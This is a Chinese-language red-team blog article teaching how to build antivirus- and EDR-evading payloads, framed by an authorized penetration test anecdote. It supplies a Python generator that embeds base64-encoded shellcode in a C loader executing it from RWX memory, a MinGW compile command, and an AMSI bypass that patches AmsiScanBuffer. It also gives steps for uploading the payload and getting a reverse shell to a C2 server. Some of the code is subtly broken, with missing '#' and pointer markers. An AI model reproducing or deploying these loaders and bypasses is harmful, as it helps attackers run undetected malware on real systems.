一、一次失败的渗透,教会我免杀的重要性
几个月前,我们接到一个任务,为一家金融企业进行授权渗透测试。拿到目标后,我迅速展开了信息收集,发现了一台暴露在互联网的 Windows 服务器,运行着一个未打补丁的 Weblogic 应用。Weblogic 的反序列化漏洞(CVE-2023-21839)立即让我嗅到了机会,我成功利用 Metasploit 生成的 Meterpreter 载荷,直接拿下了目标服务器的初始权限。
然而,故事并没有像我想象的那样顺利。当我尝试建立持久的 C2 通信时,服务器的 EDR(Endpoint Detection and Response,终端检测与响应)疯狂报警,直接杀掉了我的 Meterpreter 进程,还触发了后端 SOC(安全运营中心)的连锁反应。整个渗透行动直接暴露,我不得不迅速退出环境。

这次失败让我认识到一个事实:在现代防御体系面前,没有免杀的恶意载荷根本无路可走。从那之后,我开始深入研究各种免杀技术。本篇文章将结合我的实战经验,详细解析如何打造免杀载荷,避开杀软与EDR的检测。
---
二、免杀是场对抗:杀软如何检测恶意载荷?
在谈免杀之前,先要理解敌人,也就是传统杀软和现代 EDR 是如何检测恶意载荷的。
静态检测:特征匹配是第一道防线
杀软的核心检测机制之一是特征匹配。具体原理如下:
- 签名库匹配:杀软会将文件的特定字节序列(比如恶意代码片段或 shellcode 的某些模式)与已知的病毒特征库比对,发现疑似恶意文件。
- 哈希匹配:文件的哈希值也会被比对,如果某个哈希值在病毒数据库中存在,文件会被直接标记为恶意。
举个例子,如果你直接用 Metasploit 生成一个标准的 exe 或 DLL 文件,其内部的 shellcode 很可能已经被杀软标记过,基本上入门级杀软都能秒杀这类载荷。
动态检测:行为分析是更大的威胁
随着攻击技术的发展,杀软开始借助沙箱环境和行为分析来检测恶意载荷:
- 沙箱执行:载荷会在受控的虚拟环境中执行,任何异常行为(如内存注入、网络连接等)都会被记录并标记。
- 行为特征分析:载荷运行时的行为会被捕捉,比如是否调用了危险的系统 API,是否加载了敏感的 DLL(如
amsi.dll、ntdll.dll),是否试图与 C2 服务器通信等。
现代的 EDR 更是将行为检测提升到了一个新的高度,结合机器学习来捕捉异常模式。简单的变形或者加壳技术,已经无法绕过这种动态检测。
---
三、案例拆解:如何定制免杀的恶意载荷?
为了展示免杀技术的威力,我们来看一个经典的免杀案例:如何用 Python 和 C 结合编写一个自定义恶意载荷,绕过主流杀软和 EDR。

环境搭建
以下是我们的测试环境:
- 目标机器:Windows 10(安装最新版 Defender 和 CrowdStrike Falcon EDR)
- 攻击机:Kali Linux
- 工具链:Python 3.10、MinGW 编译器、Cobalt Strike
我们最终的目标是生成一个免杀的反向 shell 在目标机器上运行,并成功回连到我们的 C2 服务器。
---
第一步:用 Python 编写恶意载荷生成器
我们首先用 Python 编写一个恶意载荷生成器,将 shellcode 动态加密嵌入到 C 代码中。
<pre><code class="language-python">import ctypes import base64
这里是你的 shellcode,可以用 msfvenom 生成,或者从 Cobalt Strike 提取
shellcode = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0..."
使用简单的 Base64 对 shellcode 进行加密
encrypted_shellcode = base64.b64encode(shellcode)
将加密后的 shellcode 写入到模板 C 代码中
template = """
include <windows.h>
include <stdio.h>
include <stdlib.h>
include <string.h>
// Base64 解密函数 char base64_decode(const char data, size_t input_length, size_t* output_length) { // 省略具体函数实现,可以调用公开的 Base64 解码库 }
void execute_shellcode(char shellcode, size_t shellcode_length) { void exec = VirtualAlloc(0, shellcode_length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, shellcode_length); ((void(*)())exec)(); }
int main() { const char encrypted_shellcode = "{0}"; size_t decoded_length; char decoded_shellcode = base64_decode(encrypted_shellcode, strlen(encrypted_shellcode), &decoded_length); execute_shellcode(decoded_shellcode, decoded_length); return 0; } """.format(encrypted_shellcode.decode())
将生成的 C 代码保存到文件中
with open("payload.c", "w") as f: f.write(template)
print("[+] Payload C code generated. Compile it using MinGW.")</code></pre>
运行这段代码后,会生成一个 payload.c 文件,包含嵌入了加密 shellcode 的 C 程序代码。
---
第二步:利用 MinGW 编译免杀载荷
接下来,我们用 MinGW 将生成的 payload.c 编译成 Windows 可执行文件。
<pre><code class="language-bash">x86_64-w64-mingw32-gcc -o payload.exe payload.c -lcrypto</code></pre>
通过这种方法,生成的 payload.exe 已经很难被静态签名检测到,因为 shellcode 是加密的,而恶意行为只有在运行时才会触发。
---
第三步:绕过 AMSI 和 EDR
即便载荷本身免杀,很多现代 EDR 会通过拦截恶意 API 调用来阻止载荷运行。比如 Windows 的 AMSI(Antimalware Scan Interface)会拦截某些反射加载的代码段。
我们可以通过以下方式禁用 AMSI:
- 手动 Patch
amsi.dll中的检测函数。 - 在 shellcode 中动态加载
amsi.dll并覆盖相关函数的返回值。

以下是一个简单的 AMSI 绕过代码(C 实现):
<pre><code class="language-c">#include <windows.h>
include <string.h>

void bypass_amsi() { HMODULE amsi = LoadLibrary("amsi.dll"); if (amsi) { void* addr = GetProcAddress(amsi, "AmsiScanBuffer"); if (addr) { DWORD oldProtect; VirtualProtect(addr, 1, PAGE_EXECUTE_READWRITE, &oldProtect); memcpy(addr, "\x31\xc0\xc3", 3); // Patch 为直接返回 0 VirtualProtect(addr, 1, oldProtect, &oldProtect); } } }
int main() { bypass_amsi(); MessageBox(NULL, "AMSI Disabled!", "Success", MB_OK); return 0; }</code></pre>
将这个代码片段集成到前面的 payload.c 中,可以有效绕过 AMSI 的扫描。
---
四、实战效果:如何验证免杀能力?
生成的 payload.exe 可以上传到目标机器进行测试,以下是具体验证步骤:
- 通过 SMB 或 WebShell 上传载荷到目标。
- 在目标机器上执行载荷,观察是否触发杀软或 EDR。
- 如果未被检测,检查 C2 服务器是否收到反向连接。
---
五、个人经验分享:免杀技术的边界
免杀不是一劳永逸的。 每次对抗都需要针对目标环境的防御体系定制载荷。以下是我的几点经验:
- 动态加密是关键:静态加密的 shellcode 极易被现代 EDR 解密并分析。
- 混淆与多态性:不断更改代码结构,添加无用指令,制造“代码嵌套”效果。
- 实时测试:拿到目标后,先通过试探性的攻击了解其防御能力,再生成定制化载荷。
免杀是一场无休止的对抗,而成功的红队渗透,往往始于一个完美的免杀载荷。